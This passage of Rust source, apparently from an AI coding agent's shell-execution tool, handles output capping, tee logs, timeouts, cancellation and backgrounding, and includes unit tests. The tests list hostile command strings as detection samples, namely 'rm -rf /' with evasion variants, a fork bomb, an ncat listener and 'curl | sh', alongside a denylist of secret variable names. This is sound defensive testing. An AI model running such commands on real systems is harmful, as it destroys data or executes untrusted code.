966                        let _ = f.write_all(&buf[..remaining]).await;
967                        let _ = f.write_all(b"\n...[log truncated]...\n").await;
968                        log_capped = true;
969                    }
970                    let _ = f.flush().await;
971                }
972                if let Some(tx) = &progress {
973                    let chunk = String::from_utf8_lossy(&buf[..n]);
974                    for line in chunk.split('\n') {
975                        if !line.is_empty() {
976                            let _ = tx.send(ProgressEvent::Output(line.to_string())).await;
977                        }
978                    }
979                }
980                if bytes.len() < cap {
981                    let take = (cap - bytes.len()).min(n);
982                    bytes.extend_from_slice(&buf[..take]);
983                    if take < n {
984                        truncated = true;
985                    }
986                } else {
987                    truncated = true;
988                }
989            },
990            Err(_) => break,
991        }
992    }
993    let mut out = String::from_utf8_lossy(&bytes).into_owned();
994    if truncated {
995        out.push_str(&format!("\n…[output truncated at {} bytes]…", cap));
996    }
997    (out, truncated)
998}
999
1000async fn run_command(
1001    mut cmd: Command,
1002    progress: tokio::sync::mpsc::Sender<ProgressEvent>,
1003    token: tokio_util::sync::CancellationToken,
1004    background: tokio_util::sync::CancellationToken,
1005    timeout: Duration,
1006) -> std::io::Result<CommandRunResult> {
1007    let mut child = cmd.spawn()?;
1008    let pid = child.id();
1009
1010    let stdout = child
1011        .stdout
1012        .take()
1013        .ok_or_else(|| std::io::Error::other("child stdout unavailable"))?;
1014    let stderr = child
1015        .stderr
1016        .take()
1017        .ok_or_else(|| std::io::Error::other("child stderr unavailable"))?;
1018
1019    // Tee combined output to a log file so that, if the user backgrounds the
1020    // command (Ctrl+B), it stays tail-able via /logs. Removed on normal exit.
1021    // Lives in the 0700 private temp dir, created owner-only + O_EXCL (#F14/#F15).
1022    let log_path = background_log_path();
1023    let log =
1024        create_tee_log_blocking(&log_path).map(|f| std::sync::Arc::new(tokio::sync::Mutex::new(f)));
1025
1026    let cap = crate::constants::MAX_TOOL_OUTPUT_BYTES;
1027    let stdout_task = tokio::spawn(read_capped(
1028        stdout,
1029        cap,
1030        TEE_LOG_CAP_BYTES,
1031        Some(progress.clone()),
1032        log.clone(),
1033    ));
1034    let stderr_task = tokio::spawn(read_capped(
1035        stderr,
1036        cap,
1037        TEE_LOG_CAP_BYTES,
1038        None,
1039        log.clone(),
1040    ));
1041
1042    // A driver task owns the child + drain tasks and runs to completion no
1043    // matter what. On normal exit it ships the result back. If we detach, we
1044    // just stop listening — the driver (and its child) keep running, the log
1045    // keeps filling — until the child exits or Mermaid quits.
1046    let (done_tx, done_rx) = tokio::sync::oneshot::channel();
1047    let driver = tokio::spawn(async move {
1048        let (output, _) = stdout_task.await.unwrap_or_default();
1049        let (errors, _) = stderr_task.await.unwrap_or_default();
1050        let status = child.wait().await;
1051        let _ = done_tx.send((output, errors, status));
1052    });
1053
1054    let timeout_fut = tokio::time::sleep(timeout);
1055
1056    tokio::select! {
1057        biased;
1058        _ = background.cancelled() => {
1059            match pid {
1060                // Ctrl+B: detach. Dropping `driver`'s JoinHandle does NOT abort
1061                // the task — it runs on, keeping the child alive and the log
1062                // filling.
1063                Some(pid) => {
1064                    drop(driver);
1065                    Ok(CommandRunResult::Detached { pid, log_path })
1066                }
1067                // No OS pid means the child was already polled to completion —
1068                // there is nothing left to background. Report cancellation
1069                // rather than minting a phantom `bg-0` process that a later
1070                // `/stop` could mis-signal.
1071                None => {
1072                    driver.abort();
1073                    let _ = tokio::fs::remove_file(&log_path).await;
1074                    Ok(CommandRunResult::Cancelled)
1075                }
1076            }
1077        }
1078        _ = token.cancelled() => {
1079            // Turn cancelled (Esc): the detached `driver` would otherwise keep
1080            // the child (and any grandchild it forked) alive until it exited on
1081            // its own. Kill the whole tree/group, abort the driver, drop the log.
1082            if let Some(p) = pid {
1083                crate::utils::terminate_tree(p, crate::utils::Grace::Immediate).await;
1084            }
1085            // This is the one deliberate `JoinHandle::abort` in the codebase.
1086            // `driver` is a raw (non-scoped) `tokio::spawn` because it must be
1087            // able to outlive the turn on Ctrl+B detach; on Esc-cancel we've
1088            // just force-killed its whole process tree, so its `await`s would
1089            // unblock at EOF momentarily anyway — the abort just makes teardown
1090            // immediate before we drop the tee log. See the doc note in
1091            // `src/domain/reducer.rs` and `docs/architecture.md`.
1092            driver.abort();
1093            let _ = tokio::fs::remove_file(&log_path).await;
1094            Ok(CommandRunResult::Cancelled)
1095        }
1096        res = done_rx => {
1097            // Normal completion — drop the tee log.
1098            drop(log);
1099            let _ = tokio::fs::remove_file(&log_path).await;
1100            let (output, errors, status) = res
1101                .map_err(|_| std::io::Error::other("command driver dropped before completing"))?;
1102            let status = status?;
1103            let stdout_lines = output.lines().count();
1104            let stderr_lines = errors.lines().count();
1105            let mut full_output = output;
1106            if !errors.is_empty() {
1107                full_output.push_str("\n--- stderr ---\n");
1108                full_output.push_str(&errors);
1109            }
1110            if !status.success() {
1111                full_output.push_str(&format!(
1112                    "\n--- Command exited with status: {} ---",
1113                    status.code().unwrap_or(-1)
1114                ));
1115            }
1116            Ok(CommandRunResult::Completed(CommandRunOutput {
1117                output: full_output,
1118                exit_code: status.code(),
1119                stdout_lines,
1120                stderr_lines,
1121            }))
1122        }
1123        _ = timeout_fut => {
1124            // Foreground timeout: same teardown as Esc. The old outer-`select!`
1125            // form dropped the `run_command` future on timeout, which only
1126            // DETACHED the spawned `driver` that owns the Child — so the whole
1127            // tree leaked despite the "was killed" message. Tree-kill the group,
1128            // abort the driver, drop the tee log, then report TimedOut.
1129            if let Some(p) = pid {
1130                crate::utils::terminate_tree(p, crate::utils::Grace::Immediate).await;
1131            }
1132            driver.abort();
1133            let _ = tokio::fs::remove_file(&log_path).await;
1134            Ok(CommandRunResult::TimedOut)
1135        }
1136    }
1137}
1138
1139/// Defense-in-depth pre-check for obviously destructive commands, run before
1140/// the policy engine. Delegates to `crate::runtime::is_destructive_command`,
1141/// which segments the command the way `sh -c` would and classifies each head on
1142/// the TOKENIZED form — so spacing, case, quoting, flag bundling, and chaining
1143/// can't trivially evade it (the substring blocklist this replaced could be
1144/// dodged by `RM -RF /`, `rm  -rf  /`, or `echo x; rm -rf /` — #114). NOT a
1145/// security boundary: the real boundary is deny-by-default + the policy engine,
1146/// whose hard-deny this mirrors.
1147fn contains_dangerous_command(command: &str) -> bool {
1148    crate::runtime::is_destructive_command(command)
1149}
1150
1151#[cfg(test)]
1152mod tests {
1153    use super::*;
1154    use crate::domain::{ToolCallId, TurnId};
1155    use crate::providers::ctx::test_exec_context;
1156    use std::path::PathBuf;
1157
1158    #[tokio::test]
1159    async fn tee_log_is_capped() {
1160        // #126: the on-disk tee log must be bounded so a command spewing
1161        // gigabytes can't fill the temp dir, even though the in-memory buffer is
1162        // already capped.
1163        let dir = std::env::temp_dir().join(format!("mermaid_teelog_{}", std::process::id()));
1164        let _ = std::fs::create_dir_all(&dir);
1165        let path = dir.join("log.txt");
1166        let file = tokio::fs::File::create(&path).await.unwrap();
1167        let log = std::sync::Arc::new(tokio::sync::Mutex::new(file));
1168        // 4000 bytes of output, on-disk log capped at 16.
1169        let data = vec![b'x'; 4000];
1170        let _ = read_capped(&data[..], 1_000_000, 16, None, Some(log)).await;
1171        let written = std::fs::read(&path).unwrap();
1172        assert!(
1173            written.len() < 200,
1174            "log must be capped near 16 bytes + marker, got {}",
1175            written.len()
1176        );
1177        assert!(String::from_utf8_lossy(&written).contains("log truncated"));
1178        let _ = std::fs::remove_dir_all(&dir);
1179    }
1180
1181    #[cfg(unix)]
1182    #[test]
1183    fn tee_log_created_owner_only_and_refuses_existing() {
1184        // #F14/#F15: the tee log (which can capture secret-bearing stdout) must
1185        // be owner-only, and the O_EXCL create must refuse a pre-existing path —
1186        // the same guard that refuses to follow a symlink planted at the
1187        // predictable name.
1188        use std::os::unix::fs::PermissionsExt;
1189        let dir = std::env::temp_dir().join(format!("mermaid_loghard_{}", std::process::id()));
1190        let _ = std::fs::create_dir_all(&dir);
1191        let path = dir.join("bg.log");
1192        let _ = std::fs::remove_file(&path);
1193
1194        let file = create_log_file_blocking(&path).expect("first create succeeds");
1195        drop(file);
1196        let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
1197        assert_eq!(mode, 0o600, "tee log must be owner-only, got {mode:o}");
1198
1199        // O_EXCL: a second create at the same path (e.g. an attacker-planted
1200        // symlink/file) is refused rather than followed/truncated.
1201        assert!(
1202            create_log_file_blocking(&path).is_err(),
1203            "O_EXCL must refuse an existing path"
1204        );
1205        let _ = std::fs::remove_dir_all(&dir);
1206    }
1207
1208    #[test]
1209    fn secret_env_name_denylist_covers_common_carriers() {
1210        // #4: secrets the old denylist missed.
1211        for name in [
1212            "ANTHROPIC_API_KEY",
1213            "AWS_SECRET_ACCESS_KEY",
1214            "GITHUB_TOKEN",
1215            "MY_SERVICE_PRIVATE_KEY",
1216            "DATABASE_URL",
1217            "SENTRY_DSN",
1218            "SLACK_WEBHOOK_URL",
1219            "KUBECONFIG",
1220            "SSH_AUTH_SOCK",
1221            "DB_PASSWORD",
1222            "PG_CONNECTION_STRING",
1223        ] {
1224            assert!(is_secret_env_name(name), "{name} should be scrubbed");
1225        }
1226        // Ordinary build/run vars must survive.
1227        for name in [
1228            "PATH",
1229            "HOME",
1230            "CARGO_HOME",
1231            "LANG",
1232            "XAUTHORITY",
1233            "RUSTUP_HOME",
1234        ] {
1235            assert!(!is_secret_env_name(name), "{name} should NOT be scrubbed");
1236        }
1237    }
1238
1239    #[tokio::test]
1240    async fn out_of_project_working_dir_is_escalated_and_blocked() {
1241        // #1: a read-only command auto-runs in-project, but the same command
1242        // with an out-of-project working_dir is escalated to ExternalDirectory
1243        // and denied (here, by ReadOnly mode — proving it's no longer treated
1244        // as an auto-allowable in-project read).
1245        let project = std::env::temp_dir().join(format!("mermaid_wd_{}", std::process::id()));
1246        let _ = std::fs::remove_dir_all(&project);
1247        std::fs::create_dir_all(&project).unwrap();
1248        let outside = project.parent().unwrap().to_path_buf();
1249
1250        let mk_ctx = || {
1251            let (tx, rx) = tokio::sync::mpsc::channel(64);
1252            let mut config = crate::app::Config::default();
1253            config.safety.mode = crate::runtime::SafetyMode::ReadOnly;
1254            let ctx = crate::providers::ctx::ExecContext::new(
1255                tokio_util::sync::CancellationToken::new(),
1256                tx,
1257                ToolCallId(1),
1258                TurnId(1),
1259                project.clone(),
1260                std::sync::Arc::new(config),
1261                String::new(),
1262                None,
1263                crate::runtime::SafetyMode::ReadOnly,
1264                None,
1265                None,
1266                None,
1267            );
1268            (ctx, rx)
1269        };
1270
1271        let (ctx, _rx) = mk_ctx();
1272        let outcome = ExecuteCommandTool
1273            .execute(serde_json::json!({"command": "echo hi"}), ctx)
1274            .await;
1275        assert!(
1276            outcome.is_success(),
1277            "in-project read-only echo should run: {outcome:?}",
1278        );
1279
1280        let (ctx, _rx) = mk_ctx();
1281        let outcome = ExecuteCommandTool
1282            .execute(
1283                serde_json::json!({
1284                    "command": "echo hi",
1285                    "working_dir": outside.display().to_string(),
1286                }),
1287                ctx,
1288            )
1289            .await;
1290        assert_eq!(
1291            outcome.status,
1292            crate::domain::ToolStatus::Error,
1293            "out-of-project working_dir must be escalated + blocked: {outcome:?}",
1294        );
1295
1296        let _ = std::fs::remove_dir_all(&project);
1297    }
1298
1299    #[tokio::test]
1300    async fn safe_command_runs_and_captures_output() {
1301        let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1302        let outcome = ExecuteCommandTool
1303            .execute(serde_json::json!({"command": "echo hello world"}), ctx)
1304            .await;
1305        assert!(outcome.is_success(), "expected success: {:?}", outcome);
1306        assert!(outcome.output().contains("hello world"));
1307    }
1308
1309    #[tokio::test]
1310    async fn dangerous_command_blocked() {
1311        let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1312        let outcome = ExecuteCommandTool
1313            .execute(serde_json::json!({"command": "rm -rf /"}), ctx)
1314            .await;
1315        let error = outcome.error_message().expect("expected error");
1316        assert!(error.contains("Dangerous"));
1317    }
1318
1319    #[tokio::test]
1320    async fn cancellation_aborts_long_running_command() {
1321        let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1322        let token = ctx.token.clone();
1323        let handle = tokio::spawn(async move {
1324            ExecuteCommandTool
1325                .execute(serde_json::json!({"command": "sleep 10"}), ctx)
1326                .await
1327        });
1328        // Give the child a beat to spawn, then cancel.
1329        tokio::time::sleep(Duration::from_millis(30)).await;
1330        token.cancel();
1331        let start = Instant::now();
1332        // The 5s outer timeout is the real "didn't hang" guard — a propagation
1333        // regression would block until the 10s sleep, past 5s.
1334        let outcome = tokio::time::timeout(Duration::from_secs(5), handle)
1335            .await
1336            .expect("didn't hang")
1337            .expect("join");
1338        let elapsed = start.elapsed();
1339        assert!(outcome.was_cancelled());
1340        // "Aborts promptly", not a hard sub-200ms SLA — a tight bound measured
1341        // CI scheduling / process-teardown jitter and flaked on loaded windows
1342        // runners. 2s keeps a wide margin while still catching a real hang.
1343        assert!(
1344            elapsed < Duration::from_secs(2),
1345            "cancellation took {:?} — far slower than expected (regression?)",
1346            elapsed
1347        );
1348    }
1349
1350    #[tokio::test]
1351    async fn timeout_honored() {
1352        let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1353        let outcome = ExecuteCommandTool
1354            .execute(serde_json::json!({"command": "sleep 5", "timeout": 1}), ctx)
1355            .await;
1356        assert_eq!(outcome.status, crate::domain::ToolStatus::Error);
1357        let output = outcome.as_tool_message_content();
1358        assert!(output.contains("timed out"));
1359        assert!(output.contains("was killed"));
1360        assert!(output.contains("mode=\"background\""));
1361    }
1362
1363    /// RC-1 regression: a foreground command that forks a grandchild must have
1364    /// its WHOLE process group reaped on timeout, not just the shell. The old
1365    /// outer-`select!` form dropped the driver future on timeout, which only
1366    /// detached the task owning the `Child`, leaking the tree.
1367    #[cfg(not(target_os = "windows"))]
1368    #[tokio::test]
1369    async fn timeout_kills_process_tree() {
1370        let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1371        // The grandchild records its own pid, then sleeps far past the timeout.
1372        let marker =
1373            std::env::temp_dir().join(format!("mermaid_timeout_pgid_{}.pid", std::process::id()));
1374        let _ = std::fs::remove_file(&marker);
1375        let command = format!(
1376            "sh -c 'echo $$ > {}; sleep 30' & sleep 30",
1377            marker.display()
1378        );
1379        let outcome = ExecuteCommandTool
1380            .execute(serde_json::json!({ "command": command, "timeout": 1 }), ctx)
1381            .await;
1382        assert_eq!(outcome.status, crate::domain::ToolStatus::Error);
1383
1384        // Read the grandchild pid the command recorded (poll briefly in case the
1385        // write lands a touch after spawn).
1386        let mut pid = None;
1387        for _ in 0..30 {
1388            if let Ok(s) = std::fs::read_to_string(&marker)
1389                && let Ok(p) = s.trim().parse::<u32>()
1390            {
1391                pid = Some(p);
1392                break;
1393            }
1394            tokio::time::sleep(Duration::from_millis(50)).await;
1395        }
1396        let pid = pid.expect("grandchild never recorded its pid");
1397
1398        // It must be dead — poll to let SIGKILL + reparent/reap settle.
1399        let mut alive = true;
1400        for _ in 0..40 {
1401            if !process_running(pid).await {
1402                alive = false;
1403                break;
1404            }
1405            tokio::time::sleep(Duration::from_millis(50)).await;
1406        }
1407        let _ = std::fs::remove_file(&marker);
1408        assert!(!alive, "grandchild pid {pid} leaked past the timeout");
1409    }
1410
1411    #[cfg(not(target_os = "windows"))]
1412    #[tokio::test]
1413    async fn background_mode_returns_pid_log_and_detected_url() {
1414        let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1415        let outcome = ExecuteCommandTool
1416            .execute(
1417                serde_json::json!({
1418                    "command": "printf 'ready http://127.0.0.1:54321\\n'; exec sleep 30",
1419                    "mode": "background",
1420                    "startup_timeout_secs": 2,
1421                    "ready_pattern": "ready"
1422                }),
1423                ctx,
1424            )
1425            .await;
1426
1427        assert!(
1428            outcome.is_success(),
1429            "expected background success: {:?}",
1430            outcome
1431        );
1432        let output = outcome.output().to_string();
1433        assert!(output.contains("Background command started"));
1434        assert!(output.contains("PID:"));
1435        assert!(output.contains("Log:"));
1436        assert!(output.contains("Ready: matched pattern"));
1437        assert!(output.contains("Detected URL: http://127.0.0.1:54321"));
1438
1439        if let Some(pid) = parse_pid(&output) {
1440            let _ = Command::new("kill").arg(pid.to_string()).status().await;
1441        }
1442    }
1443
1444    #[cfg(target_os = "windows")]
1445    #[tokio::test]
1446    async fn background_mode_returns_pid_and_log_on_windows() {
1447        let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1448        let outcome = ExecuteCommandTool
1449            .execute(
1450                serde_json::json!({
1451                    "command": "echo ready & ping -n 30 127.0.0.1",
1452                    "mode": "background",
1453                    "startup_timeout_secs": 3,
1454                    "ready_pattern": "ready"
1455                }),
1456                ctx,
1457            )
1458            .await;
1459
1460        assert!(
1461            outcome.is_success(),
1462            "expected background success on Windows: {:?}",
1463            outcome
1464        );
1465        let output = outcome.output().to_string();
1466        assert!(output.contains("Background command started"));
1467        assert!(output.contains("PID:"));
1468        assert!(output.contains("Ready: matched pattern"));
1469        // The ManagedProcess must be attached so /processes lists it.
1470        assert!(
1471            outcome.metadata.process.is_some(),
1472            "background outcome must carry a ManagedProcess"
1473        );
1474
1475        // Clean up the detached process (and its child ping) via the tree kill.
1476        if let Some(pid) = parse_pid(&output) {
1477            crate::utils::terminate_tree(pid, crate::utils::Grace::Graceful).await;
1478        }
1479    }
1480
1481    #[tokio::test]
1482    async fn ctrl_b_backgrounds_a_running_foreground_command() {
1483        let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
1484        let background = ctx.background.clone();
1485        // A command that keeps running so it's still live when we background it.
1486        let command = if cfg!(target_os = "windows") {
1487            "ping -n 30 127.0.0.1"
1488        } else {
1489            "sleep 30"
1490        };
1491
1492        // Press "Ctrl+B" shortly after the command starts.
1493        let canceller = tokio::spawn(async move {
1494            tokio::time::sleep(Duration::from_millis(300)).await;
1495            background.cancel();
1496        });
1497        let outcome = ExecuteCommandTool
1498            .execute(
1499                serde_json::json!({ "command": command, "timeout": 60 }),
1500                ctx,
1501            )
1502            .await;
1503        let _ = canceller.await;
1504
1505        assert!(
1506            outcome.is_success(),
1507            "backgrounding should yield success: {:?}",
1508            outcome
1509        );
1510        let output = outcome.output().to_string();
1511        assert!(output.contains("Moved to background"), "got: {output}");
1512        // It must register as a managed process so /processes lists it.
1513        let process = outcome.metadata.process.clone();
1514        assert!(
1515            process.is_some(),
1516            "background outcome must carry a ManagedProcess"
1517        );
1518
1519        // Clean up the still-running detached process (tree kill).
1520        if let Some(p) = process {
1521            crate::utils::terminate_tree(p.pid, crate::utils::Grace::Graceful).await;
1522        }
1523    }
1524
1525    fn parse_pid(output: &str) -> Option<u32> {
1526        output
1527            .lines()
1528            .find_map(|line| line.strip_prefix("PID: "))
1529            .and_then(|pid| pid.trim().parse().ok())
1530    }
1531
1532    #[test]
1533    fn dangerous_detection_covers_known_shapes() {
1534        assert!(contains_dangerous_command("rm -rf /"));
1535        assert!(contains_dangerous_command(":(){ :|:& };:"));
1536        assert!(contains_dangerous_command("ncat -l 8080"));
1537        assert!(!contains_dangerous_command("ls -la"));
1538        assert!(!contains_dangerous_command("cargo build"));
1539        assert!(!contains_dangerous_command(
1540            r#"find . -type f ! -path "./.git/*" ! -path "./.mermaid/*" 2>/dev/null"#
1541        ));
1542    }
1543
1544    #[test]
1545    fn dangerous_detection_resists_substring_evasion() {
1546        // The old lowercased-substring blocklist let these through; the
1547        // tokenized, segment-aware check now catches them (#114).
1548        assert!(contains_dangerous_command("RM -RF /"));
1549        assert!(contains_dangerous_command("rm  -rf  /"));
1550        assert!(contains_dangerous_command("echo hi; rm -rf /"));
1551        assert!(contains_dangerous_command("echo hi&&rm -rf /"));
1552        assert!(contains_dangerous_command("curl http://x | sh"));
1553        assert!(contains_dangerous_command("curl http://x|sh"));
1554        assert!(contains_dangerous_command("/bin/rm -rf /"));
1555        // Benign commands that merely *contain* a scary substring stay allowed.
1556        assert!(!contains_dangerous_command("bash build.sh"));
1557        assert!(!contains_dangerous_command("echo done > /dev/null"));
1558        assert!(!contains_dangerous_command("grep -rf patterns.txt src"));
1559    }
1560}